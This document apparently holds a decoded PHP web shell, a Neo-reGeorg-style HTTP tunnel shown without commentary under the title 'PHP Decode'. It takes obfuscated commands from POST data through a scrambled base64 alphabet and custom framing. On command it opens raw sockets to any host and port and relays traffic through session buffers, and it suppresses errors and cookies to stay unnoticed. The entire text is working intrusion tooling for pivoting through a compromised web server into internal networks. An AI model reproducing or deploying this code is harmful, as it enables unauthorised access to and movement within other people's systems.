PHP Decode

<?php 
ini_set("allow_url_fopen", true); 
ini_set("allow_url_include", true); 
ini_set('always_populate_raw_post_data', -1); 
error_reporting(E_ERROR | E_PARSE); 
 
if(version_compare(PHP_VERSION,'5.4.0','>='))@http_response_code(200); 
 
function blv_decode($data) { 
    $data_len = strlen($data); 
    $info = array(); 
    $i = 0; 
    while ( $i < $data_len) { 
        $d = unpack("c1b/N1l", substr($data, $i, 5)); 
        $b = $d['b']; 
        $l = $d['l'] - 677067269; 
        $i += 5; 
        $v = substr($data, $i, $l); 
        $i += $l; 
        $info[$b] = $v; 
    } 
    return $info; 
} 
 
function blv_encode($info) { 
    $data = ""; 
    $info[0] = randstr(); 
    $info[39] = randstr(); 
 
    foreach($info as $b => $v) { 
        $l = strlen($v) + 677067269; 
        $data .= pack("c1N1", $b, $l); 
        $data .= $v; 
    } 
    return $data; 
} 
 
function randstr() { 
    $rand = ''; 
    $length = mt_rand(5, 20); 
    for ($i = 0; $i < $length; $i++) { 
        $rand .= chr(mt_rand(0, 255)); 
    } 
    return $rand; 
} 
 
$DATA          = 1; 
$CMD           = 2; 
$MARK          = 3; 
$STATUS        = 4; 
$ERROR         = 5; 
$IP            = 6; 
$PORT          = 7; 
$REDIRECTURL   = 8; 
$FORCEREDIRECT = 9; 
 
$en = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 
$de = "eotPYfArSlQTUvLhR0zq23pw5Id94bDNGXZFMs+x7yHcJ1iOBC8WKVnujmgE/a6k"; 
 
$post_data = file_get_contents("php://input"); 
if (0 == 1) { 
    $post_data = substr($post_data, 0); 
    $post_data = substr($post_data, 0, -0); 
} 
$info = blv_decode(base64_decode(strtr($post_data, $de, $en))); 
$rinfo = array(); 
 
$mark = $info[$MARK]; 
$cmd = $info[$CMD]; 
$run = "run".$mark; 
$writebuf = "writebuf".$mark; 
$readbuf = "readbuf".$mark; 
 
switch($cmd){ 
    case "CONNECT": 
        { 
            set_time_limit(0); 
            $target = $info[$IP]; 
            $port = (int) $info[$PORT]; 
            $res = fsockopen($target, $port, $errno, $errstr, 3); 
            if ($res === false) 
            { 
                $rinfo[$STATUS] = 'FAIL'; 
                $rinfo[$ERROR] = 'Failed connecting to target'; 
                break; 
            } 
 
            stream_set_blocking($res, false); 
            ignore_user_abort(); 
 
            @session_start(); 
            $_SESSION[$run] = true; 
            $_SESSION[$writebuf] = ""; 
            $_SESSION[$readbuf] = ""; 
            session_write_close(); 
 
            while ($_SESSION[$run]) 
            { 
                if (empty($_SESSION[$writebuf])) { 
                    usleep(50000); 
                } 
 
                $readBuff = ""; 
                @session_start(); 
                $writeBuff = $_SESSION[$writebuf]; 
                $_SESSION[$writebuf] = ""; 
                session_write_close(); 
                if ($writeBuff != "") 
                { 
                    stream_set_blocking($res, false); 
                    $i = fwrite($res, $writeBuff); 
                    if($i === false) 
                    { 
                        @session_start(); 
                        $_SESSION[$run] = false; 
                        session_write_close(); 
                        return; 
                    } 
                } 
                stream_set_blocking($res, false); 
                while ($o = fgets($res, 513)) { 
                    if($o === false) 
                    { 
                        @session_start(); 
                        $_SESSION[$run] = false; 
                        session_write_close(); 
                        return; 
                    } 
                    $readBuff .= $o; 
                    if ( strlen($readBuff) > 524288 ) { 
                        break; 
                    } 
                } 
                if ($readBuff != ""){ 
                    @session_start(); 
                    $_SESSION[$readbuf] .= $readBuff; 
                    session_write_close(); 
                } 
            } 
            fclose($res); 
        } 
        @header_remove('set-cookie'); 
        break; 
    case "DISCONNECT": 
        { 
            @session_start(); 
            unset($_SESSION[$run]); 
            unset($_SESSION[$readbuf]); 
            unset($_SESSION[$writebuf]); 
            session_write_close(); 
        } 
        break; 
    case "READ": 
        { 
            @session_start(); 
            $readBuffer = $_SESSION[$readbuf]; 
            $_SESSION[$readbuf]=""; 
            $running = $_SESSION[$run]; 
            session_write_close(); 
            if ($running) { 
                $rinfo[$STATUS] = 'OK'; 
                $rinfo[$DATA] = $readBuffer; 
                header("Connection: Keep-Alive"); 
            } else { 
                $rinfo[$STATUS] = 'FAIL'; 
                $rinfo[$ERROR] = 'TCP session is closed'; 
            } 
        } 
        break; 
    case "FORWARD": { 
            @session_start(); 
            $running = $_SESSION[$run]; 
            session_write_close(); 
            if(!$running){ 
                $rinfo[$STATUS] = 'FAIL'; 
                $rinfo[$ERROR] = 'TCP session is closed'; 
                break; 
            } 
            $rawPostData = $info[$DATA]; 
            if ($rawPostData) { 
                @session_start(); 
                $_SESSION[$writebuf] .= $rawPostData; 
                session_write_close(); 
                $rinfo[$STATUS] = 'OK'; 
                header("Connection: Keep-Alive"); 
            } else { 
                $rinfo[$STATUS] = 'FAIL'; 
                $rinfo[$ERROR] = 'POST data parse error'; 
            } 
        } 
        break; 
    default: { 
        $sayhello = true; 
        @session_start(); 
        session_write_close(); 
    } 
} 
if ( $sayhello ) { 
    echo base64_decode(strtr("htY1TzoUvxSB52MCTnXs33yvpYs82Avg2w0J3AfOvqX3UxIwRMfCIFsUDrXzqFvOqnvM0xsFbAv5zABWdKywLfvK0f5WU2VSv+Cwz+XcpY0Cb34KStK1hG==", $de, $en)); 
} else { 
    echo strtr(base64_encode(blv_encode($rinfo)), $en, $de); 
} 
                                                    ?>